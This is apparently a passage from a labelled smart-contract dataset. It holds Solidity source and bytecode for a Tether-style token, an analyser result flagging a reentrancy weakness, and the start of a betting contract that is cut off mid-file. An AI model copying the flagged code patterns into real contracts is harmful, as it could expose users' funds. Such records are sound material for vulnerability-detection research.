(uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract UpgradedStandardToken is StandardToken { // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address uint public _totalSupply; function transferByLegacy(address from, address to, uint value) public returns (bool); function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool); function approveByLegacy(address from, address spender, uint value) public returns (bool); function increaseApprovalByLegacy(address from, address spender, uint addedValue) public returns (bool); function decreaseApprovalByLegacy(address from, address spender, uint subtractedValue) public returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardTokenWithFees is StandardToken, Ownable { // Additional variables for use if transaction fees ever became necessary uint256 public basisPointsRate = 0; uint256 public maximumFee = 0; uint256 constant MAX_SETTABLE_BASIS_POINTS = 20; uint256 constant MAX_SETTABLE_FEE = 50; string public name; string public symbol; uint8 public decimals; uint public _totalSupply; uint public constant MAX_UINT = 2**256 - 1; function calcFee(uint _value) constant returns (uint) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } return fee; } function transfer(address _to, uint _value) public returns (bool) { uint fee = calcFee(_value); uint sendAmount = _value.sub(fee); super.transfer(_to, sendAmount); if (fee > 0) { super.transfer(owner, fee); } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); uint fee = calcFee(_value); uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (allowed[_from][msg.sender] < MAX_UINT) { allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); } Transfer(_from, _to, sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } return true; } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < MAX_SETTABLE_BASIS_POINTS); require(newMaxFee < MAX_SETTABLE_FEE); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(uint(10)**decimals); Params(basisPointsRate, maximumFee); } // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable { /////// Getter to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } event AddedBlackList(address indexed _user); event RemovedBlackList(address indexed _user); } contract TetherToken is Pausable, StandardTokenWithFees, BlackList { address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function TetherToken(uint _initialSupply, string _name, string _symbol, uint8 _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Allow checks of balance at time of deprecation function oldBalanceOf(address who) public constant returns (uint) { if (deprecated) { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).increaseApprovalByLegacy(msg.sender, _spender, _addedValue); } else { return super.increaseApproval(_spender, _addedValue); } } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).decreaseApprovalByLegacy(msg.sender, _spender, _subtractedValue); } else { return super.decreaseApproval(_spender, _subtractedValue); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { require(_upgradedAddress != address(0)); deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); Issue(amount); Transfer(address(0), owner, amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); Redeem(amount); Transfer(owner, address(0), amount); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply = _totalSupply.sub(dirtyFunds); DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address indexed _blackListedUser, uint _balance); // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); }
0x6060604052600436106101875763ffffffff60e060020a60003504166306fdde03811461018c5780630753c30c14610216578063095ea7b3146102375780630e136b191461026d5780630ecb93c01461028057806318160ddd1461029f57806323b872dd146102c457806326976e3f146102ec578063313ce5671461031b57806335390714146103445780633eaaf86b146103575780633f4ba83a1461036a57806359bf1abe1461037d5780635c975abb1461039c57806366188463146103af57806370a08231146103d157806375dc7d8c146103f05780638456cb59146104065780638da5cb5b1461041957806395d89b411461042c578063a9059cbb1461043f578063b7a3446c14610461578063c0324c7714610480578063cc872b6614610499578063d73dd623146104af578063db006a75146104d1578063dd62ed3e146104e7578063dd644f721461050c578063e47d60601461051f578063e4997dc51461053e578063e5b5019a1461055d578063f2fde38b14610570578063f3bdc2281461058f575b600080fd5b341561019757600080fd5b61019f6105ae565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101db5780820151838201526020016101c3565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022157600080fd5b610235600160a060020a036004351661064c565b005b341561024257600080fd5b610259600160a060020a0360043516602435610704565b604051901515815260200160405180910390f35b341561027857600080fd5b6102596107d1565b341561028b57600080fd5b610235600160a060020a03600435166107e1565b34156102aa57600080fd5b6102b261084f565b60405190815260200160405180910390f35b34156102cf57600080fd5b610259600160a060020a03600435811690602435166044356108d6565b34156102f757600080fd5b6102ff6109d2565b604051600160a060020a03909116815260200160405180910390f35b341561032657600080fd5b61032e6109e1565b60405160ff909116815260200160405180910390f35b341561034f57600080fd5b6102b26109ea565b341561036257600080fd5b6102b26109f0565b341561037557600080fd5b6102356109f6565b341561038857600080fd5b610259600160a060020a0360043516610a75565b34156103a757600080fd5b610259610a97565b34156103ba57600080fd5b610259600160a060020a0360043516602435610aa7565b34156103dc57600080fd5b6102b2600160a060020a0360043516610b49565b34156103fb57600080fd5b6102b2600435610be9565b341561041157600080fd5b610235610c29565b341561042457600080fd5b6102ff610cad565b341561043757600080fd5b61019f610cbc565b341561044a57600080fd5b610259600160a060020a0360043516602435610d27565b341561046c57600080fd5b6102b2600160a060020a0360043516610def565b341561048b57600080fd5b610235600435602435610e0d565b34156104a457600080fd5b610235600435610ea6565b34156104ba57600080fd5b610259600160a060020a0360043516602435610f82565b34156104dc57600080fd5b610235600435611024565b34156104f257600080fd5b6102b2600160a060020a0360043581169060243516611106565b341561051757600080fd5b6102b2611186565b341561052a57600080fd5b610259600160a060020a036004351661118c565b341561054957600080fd5b610235600160a060020a03600435166111a1565b341561056857600080fd5b6102b261120c565b341561057b57600080fd5b610235600160a060020a0360043516611212565b341561059a57600080fd5b610235600160a060020a03600435166112ad565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106445780601f1061061957610100808354040283529160200191610644565b820191906000526020600020905b81548152906001019060200180831161062757829003601f168201915b505050505081565b60025433600160a060020a0390811691161461066757600080fd5b600160a060020a038116151561067c57600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051600160a060020a03909116815260200160405180910390a150565b60025460009060a060020a900460ff161561071e57600080fd5b600a5460a060020a900460ff16156107be57600a54600160a060020a031663aee92d3333858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561079c57600080fd5b6102c65a03f115156107ad57600080fd5b5050506040518051905090506107cb565b6107c8838361136e565b90505b92915050565b600a5460a060020a900460ff1681565b60025433600160a060020a039081169116146107fc57600080fd5b600160a060020a03811660008181526009602052604090819020805460ff191660011790557f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc905160405180910390a250565b600a5460009060a060020a900460ff16156108ce57600a54600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108ac57600080fd5b6102c65a03f115156108bd57600080fd5b5050506040518051905090506108d3565b506008545b90565b60025460009060a060020a900460ff16156108f057600080fd5b600160a060020a03841660009081526009602052604090205460ff161561091657600080fd5b600a5460a060020a900460ff16156109bd57600a54600160a060020a0316638b477adb3386868660006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201529284166024840152921660448201526064810191909152608401602060405180830381600087803b151561099b57600080fd5b6102c65a03f115156109ac57600080fd5b5050506040518051905090506109cb565b6109c88484846113da565b90505b9392505050565b600a54600160a060020a031681565b60075460ff1681565b60045481565b60085481565b60025433600160a060020a03908116911614610a1157600080fd5b60025460a060020a900460ff161515610a2957600080fd5b6002805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03811660009081526009602052604090205460ff165b919050565b60025460a060020a900460ff1681565b60025460009060a060020a900460ff1615610ac157600080fd5b600a5460a060020a900460ff1615610b3f57600a54600160a060020a0316636001279f33858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561079c57600080fd5b6107c88383611629565b600a5460009060a060020a900460ff1615610bd957600a54600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610bb757600080fd5b6102c65a03f11515610bc857600080fd5b505050604051805190509050610a92565b610be282611725565b9050610a92565b600080610c13612710610c076003548661174090919063ffffffff16565b9063ffffffff61176b16565b90506004548111156107cb575060045492915050565b60025433600160a060020a03908116911614610c4457600080fd5b60025460a060020a900460ff1615610c5b57600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600254600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106445780601f1061061957610100808354040283529160200191610644565b60025460009060a060020a900460ff1615610d4157600080fd5b600160a060020a03331660009081526009602052604090205460ff1615610d6757600080fd5b600a5460a060020a900460ff1615610de557600a54600160a060020a0316636e18980a33858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561079c57600080fd5b6107c88383611782565b600a5460009060a060020a900460ff1615610a9257610be282611725565b60025433600160a060020a03908116911614610e2857600080fd5b60148210610e3557600080fd5b60328110610e4257600080fd5b6003829055600754610e6190829060ff16600a0a63ffffffff61174016565b60048190556003547fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e9160405191825260208201526040908101905180910390a15050565b60025433600160a060020a03908116911614610ec157600080fd5b600254600160a060020a0316600090815260208190526040902054610eec908263ffffffff6117d816565b600254600160a060020a0316600090815260208190526040902055600854610f1a908263ffffffff6117d816565b6008557fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a8160405190815260200160405180910390a1600254600160a060020a031660006000805160206119c98339815191528360405190815260200160405180910390a350565b60025460009060a060020a900460ff1615610f9c57600080fd5b600a5460a060020a900460ff161561101a57600a54600160a060020a031663a953815733858560006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561079c57600080fd5b6107c883836117e7565b60025433600160a060020a0390811691161461103f57600080fd5b600854611052908263ffffffff61188b16565b600855600254600160a060020a0316600090815260208190526040902054611080908263ffffffff61188b16565b600254600160a060020a031660009081526020819052604090819020919091557f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a449082905190815260200160405180910390a1600254600090600160a060020a03166000805160206119c98339815191528360405190815260200160405180910390a350565b600a5460009060a060020a900460ff161561117c57600a54600160a060020a031663dd62ed3e848460006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561079c57600080fd5b6107c8838361189d565b60035481565b60096020526000908152604090205460ff1681565b60025433600160a060020a039081169116146111bc57600080fd5b600160a060020a03811660008181526009602052604090819020805460ff191690557fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c905160405180910390a250565b60001981565b60025433600160a060020a0390811691161461122d57600080fd5b600160a060020a038116151561124257600080fd5b600254600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025460009033600160a060020a039081169116146112cb57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615156112f257600080fd5b6112fb82610b49565b600160a060020a03831660009081526020819052604081205560085490915061132a908263ffffffff61188b16565b600855600160a060020a0382167f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68260405190815260200160405180910390a25050565b600160a060020a03338116600081815260016020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60008080600160a060020a03851615156113f357600080fd5b600160a060020a03861660009081526020819052604090205484111561141857600080fd5b600160a060020a038087166000908152600160209081526040808320339094168352929052205484111561144b57600080fd5b61145484610be9565b9150611466848363ffffffff61188b16565b600160a060020a038716600090815260208190526040902054909150611492908563ffffffff61188b16565b600160a060020a0380881660009081526020819052604080822093909355908716815220546114c7908263ffffffff6117d816565b600160a060020a038087166000908152602081815260408083209490945589831682526001815283822033909316825291909152205460001990101561156657600160a060020a038087166000908152600160209081526040808320339094168352929052205461153e908563ffffffff61188b16565b600160a060020a03808816600090815260016020908152604080832033909416835292905220555b84600160a060020a031686600160a060020a03166000805160206119c98339815191528360405190815260200160405180910390a3600082111561161d57600254600160a060020a03166000908152602081905260409020546115cf908363ffffffff6117d816565b60028054600160a060020a0390811660009081526020819052604090819020939093559054811691908816906000805160206119c98339815191529085905190815260200160405180910390a35b50600195945050505050565b600160a060020a0333811660009081526001602090815260408083209386168352929052908120548083111561168657600160a060020a0333811660009081526001602090815260408083209388168352929052908120556116bd565b611696818463ffffffff61188b16565b600160a060020a033381166000908152600160209081526040808320938916835292905220555b600160a060020a0333811660008181526001602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600080831515611753576000915061171e565b5082820282848281151561176357fe5b04146109cb57fe5b600080828481151561177957fe5b04949350505050565b600080600061179084610be9565b91506117a2848363ffffffff61188b16565b90506117ae85826118c8565b5060008211156117d0576002546117ce90600160a060020a0316836118c8565b505b505092915050565b6000828201838110156109cb57fe5b600160a060020a03338116600090815260016020908152604080832093861683529290529081205461181f908363ffffffff6117d816565b600160a060020a0333811660008181526001602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282111561189757fe5b50900390565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b6000600160a060020a03831615156118df57600080fd5b600160a060020a03331660009081526020819052604090205482111561190457600080fd5b600160a060020a03331660009081526020819052604090205461192d908363ffffffff61188b16565b600160a060020a033381166000908152602081905260408082209390935590851681522054611962908363ffffffff6117d816565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206119c98339815191528460405190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f3fe5ef95f2833786841b8347a4111524786d9819aec403dfb755f1a6f495e430029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,967
0x944BbE044F375bc12C8666Eb6300aa2691770Fb9
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.7.0; pragma abicoder v2; contract DeadPool { /* Types */ enum eventStatus{open, finished, closed} enum bidStatus{open, closed} struct bid { uint id; uint256 name; address[] whoBet; uint amountReceived; bidStatus status; } struct betEvent { uint id; bytes32 name; address creator; address arbitrator; uint256 winner; uint arbitratorFee; uint minBid; // value in wei uint maxBid; // value in wei bid[] bids; bet[] bets; eventStatus status; } struct bet { address person; uint256 bidName; uint amount; uint256 timestamp; } /* Storage */ address public owner; mapping(address => betEvent[]) public betEvents; mapping(address => uint) public pendingWithdrawals; /* Events */ // event eventCreated(uint id, address creator); // event betMade(uint value, uint id); // event eventStatusChanged(uint status); // event withdrawalDone(uint amount); /* Modifiers */ modifier onlyOwner(){ if (msg.sender == owner) { _; } } modifier onlyOpen(address creator, uint eventId){ if (betEvents[creator][eventId].status == eventStatus.open) { _; } } modifier onlyFinished(address creator, uint eventId){ if (betEvents[creator][eventId].status == eventStatus.finished) { _; } } modifier onlyArbitrator(address creator, uint eventId){ if (msg.sender == betEvents[creator][eventId].arbitrator) { _; } } modifier onlyOpenAndArbitrator(address creator, uint eventId){ if (betEvents[creator][eventId].status == eventStatus.open && msg.sender == betEvents[creator][eventId].arbitrator) { _; } } modifier onlyFinishedAndArbitrator(address creator, uint eventId){ if (betEvents[creator][eventId].status == eventStatus.finished && msg.sender == betEvents[creator][eventId].arbitrator) { _; } } /* Methods */ constructor() { owner = msg.sender; } fallback() external payable { // custom function code } receive() external payable { // custom function code } bid public newBid; betEvent public newEvent; bet public newBet; function createEvent(address arbitrator, bytes32 name, uint fee, uint minBid, uint maxBid) external onlyOwner { require(fee < 100, "Fee must be lower than 100."); /* check whether event with such name already exist */ bool found = false; for (uint x = 0; x < betEvents[msg.sender].length; x++) { if (betEvents[msg.sender][x].name == name) { found = true; } } require(!found, "Event with same name already exists."); uint newId = betEvents[msg.sender].length; newEvent.id = newId; newEvent.name = name; newEvent.arbitrator = arbitrator; newEvent.status = eventStatus.open; newEvent.creator = msg.sender; newEvent.minBid = minBid; newEvent.maxBid = maxBid; newEvent.arbitratorFee = fee; betEvents[msg.sender].push(newEvent); // emit eventCreated(newId, msg.sender); } function finishEvent(address creator, uint eventId) external onlyOpenAndArbitrator(creator, eventId) { betEvents[creator][eventId].status = eventStatus.finished; // emit eventStatusChanged(1); } function _addBid(address creator, uint eventId, uint256 bidName) private onlyOpen(creator, eventId) { uint newBidId = 0; bool found = findBid(creator, eventId, bidName); if (!found) { newBidId = betEvents[creator][eventId].bids.length; newBid.id = newBidId; newBid.name = bidName; newBid.status = bidStatus.open; betEvents[creator][eventId].bids.push(newBid); } } function addBid(address creator, uint eventId, uint256 bidName) external onlyOpen(creator, eventId) { _addBid(creator, eventId, bidName); } function addBids(address creator, uint eventId, uint256[] calldata bidNames) external onlyOpen(creator, eventId) { for (uint i = 0; i < bidNames.length; i++) { _addBid(creator, eventId, bidNames[i]); } } function _closeBid(address creator, uint eventId, uint256 bidName) private onlyOpenAndArbitrator(creator, eventId) { for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) { if (betEvents[creator][eventId].bids[i].name == bidName) { betEvents[creator][eventId].bids[i].status = bidStatus.closed; } } } function closeBid(address creator, uint eventId, uint256 bidName) external onlyOpenAndArbitrator(creator, eventId) { _closeBid(creator, eventId, bidName); } function closeBids(address creator, uint eventId, uint256[] calldata bidNames) external onlyOpenAndArbitrator(creator, eventId) { for (uint i = 0; i < bidNames.length; i++) { _closeBid(creator, eventId, bidNames[i]); } } // function openBid(address creator, uint eventId, bytes32 bidName) external // onlyOpen(creator, eventId) onlyArbitrator(creator, eventId) { // for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) { // if (betEvents[creator][eventId].bids[i].name == bidName) { // betEvents[creator][eventId].bids[i].status = bidStatus.open; // } // } // } function makeBet(address creator, uint eventId, uint256 bidName) public payable onlyOpen(creator, eventId) { uint256 minDate = (block.timestamp / (60 * 60 * 24) + 1) * (60 * 60 * 24); require(bidName >= minDate, "Bid must be more than today."); /* check whether bid with given name actually exists */ bool found = findBid(creator, eventId, bidName); if (!found) { this.addBid(creator, eventId, bidName); } for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) { if (betEvents[creator][eventId].bids[i].name == bidName) { bid storage foundBid = betEvents[creator][eventId].bids[i]; found = true; require(foundBid.status == bidStatus.open, "Bid is closed."); //check for minimal amount if (betEvents[creator][eventId].minBid > 0) { require(msg.value >= betEvents[creator][eventId].minBid, "Min amount error."); } //check for maximal amount if (betEvents[creator][eventId].maxBid > 0) { require(msg.value <= betEvents[creator][eventId].maxBid, "Max amount error."); } foundBid.whoBet.push(msg.sender); foundBid.amountReceived += msg.value; newBet.person = msg.sender; newBet.amount = msg.value; newBet.bidName = bidName; newBet.timestamp = block.timestamp; betEvents[creator][eventId].bets.push(newBet); // emit betMade(msg.value, newBetId); } } require(found, "Bid not found."); } function determineWinner(address creator, uint eventId, uint256 bidName) external onlyFinishedAndArbitrator(creator, eventId) { require(findBid(creator, eventId, bidName)); betEvent storage cEvent = betEvents[creator][eventId]; cEvent.winner = bidName; uint amountLost; uint amountWon; uint lostBetsLen; /* Calculating amount of all won and lost bets */ for (uint x = 0; x < cEvent.bets.length; x++) { uint betAmount = cEvent.bets[x].amount; if (cEvent.bets[x].bidName == cEvent.winner) { amountWon += betAmount; pendingWithdrawals[cEvent.bets[x].person] += betAmount; } else { lostBetsLen++; amountLost += betAmount; } } uint arbitratorAmount = amountLost / 100 * cEvent.arbitratorFee; pendingWithdrawals[cEvent.arbitrator] += arbitratorAmount; amountLost -= arbitratorAmount; /* If we do have win bets */ if (amountWon > 0) { for (uint x = 0; x < cEvent.bets.length; x++) { if (cEvent.bets[x].bidName == cEvent.winner) { uint wonBetPercentage = percent(cEvent.bets[x].amount, amountWon, 2); pendingWithdrawals[cEvent.bets[x].person] += (amountLost / 100) * wonBetPercentage; } } } else { /* If we don't have any bets won, we pay all the funds back except arbitrator fee */ for (uint x = 0; x < cEvent.bets.length; x++) { pendingWithdrawals[cEvent.bets[x].person] += cEvent.bets[x].amount - ((cEvent.bets[x].amount / 100) * cEvent.arbitratorFee); } } cEvent.status = eventStatus.closed; // emit eventStatusChanged(2); } function withdraw(address payable person) private { uint amount = pendingWithdrawals[person]; pendingWithdrawals[person] = 0; person.transfer(amount); // emit withdrawalDone(amount); } function requestWithdraw() external { require(pendingWithdrawals[msg.sender] != 0, "No withdrawal available."); withdraw(payable(msg.sender)); } function findBid(address creator, uint eventId, uint256 bidName) private view returns (bool){ for (uint i = 0; i < betEvents[creator][eventId].bids.length; i++) { if (betEvents[creator][eventId].bids[i].name == bidName) { return true; } } return false; } function percent(uint numerator, uint denominator, uint precision) public pure returns (uint quotient) { // caution, check safe-to-multiply here uint _numerator = numerator * 10 ** (precision + 1); // with rounding of last digit uint _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; while (i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } /* Getters */ function getBetEvents(address creator) external view returns (betEvent[] memory){ return betEvents[creator]; } // // function getBetEvent(address creator, uint eventId) external view returns (betEvent memory){ // return betEvents[creator][eventId]; // } // // function getBidsNum(address creator, uint eventId) external view returns (uint){ // return betEvents[creator][eventId].bids.length; // } // function getBids(address creator, uint eventId) external view returns (bid[] memory){ return betEvents[creator][eventId].bids; } // // function getBid(address creator, uint eventId, uint bidId) external view returns (uint, bytes32, uint){ // bid storage foundBid = betEvents[creator][eventId].bids[bidId]; // return (foundBid.id, foundBid.name, foundBid.amountReceived); // } // // function getBetsNums(address creator, uint eventId) external view returns (uint){ // return betEvents[creator][eventId].bets.length; // } // // function getWhoBet(address creator, uint eventId, uint bidId) external view returns (address[] memory){ // return betEvents[creator][eventId].bids[bidId].whoBet; // } // function getBets(address creator, uint eventId) external view returns (bet[] memory){ return betEvents[creator][eventId].bets; } // // function getBet(address creator, uint eventId, uint betId) external view returns (address, bytes32, uint){ // bet storage foundBet = betEvents[creator][eventId].bets[betId]; // return (foundBet.person, foundBet.bidName, foundBet.amount); // } // // function 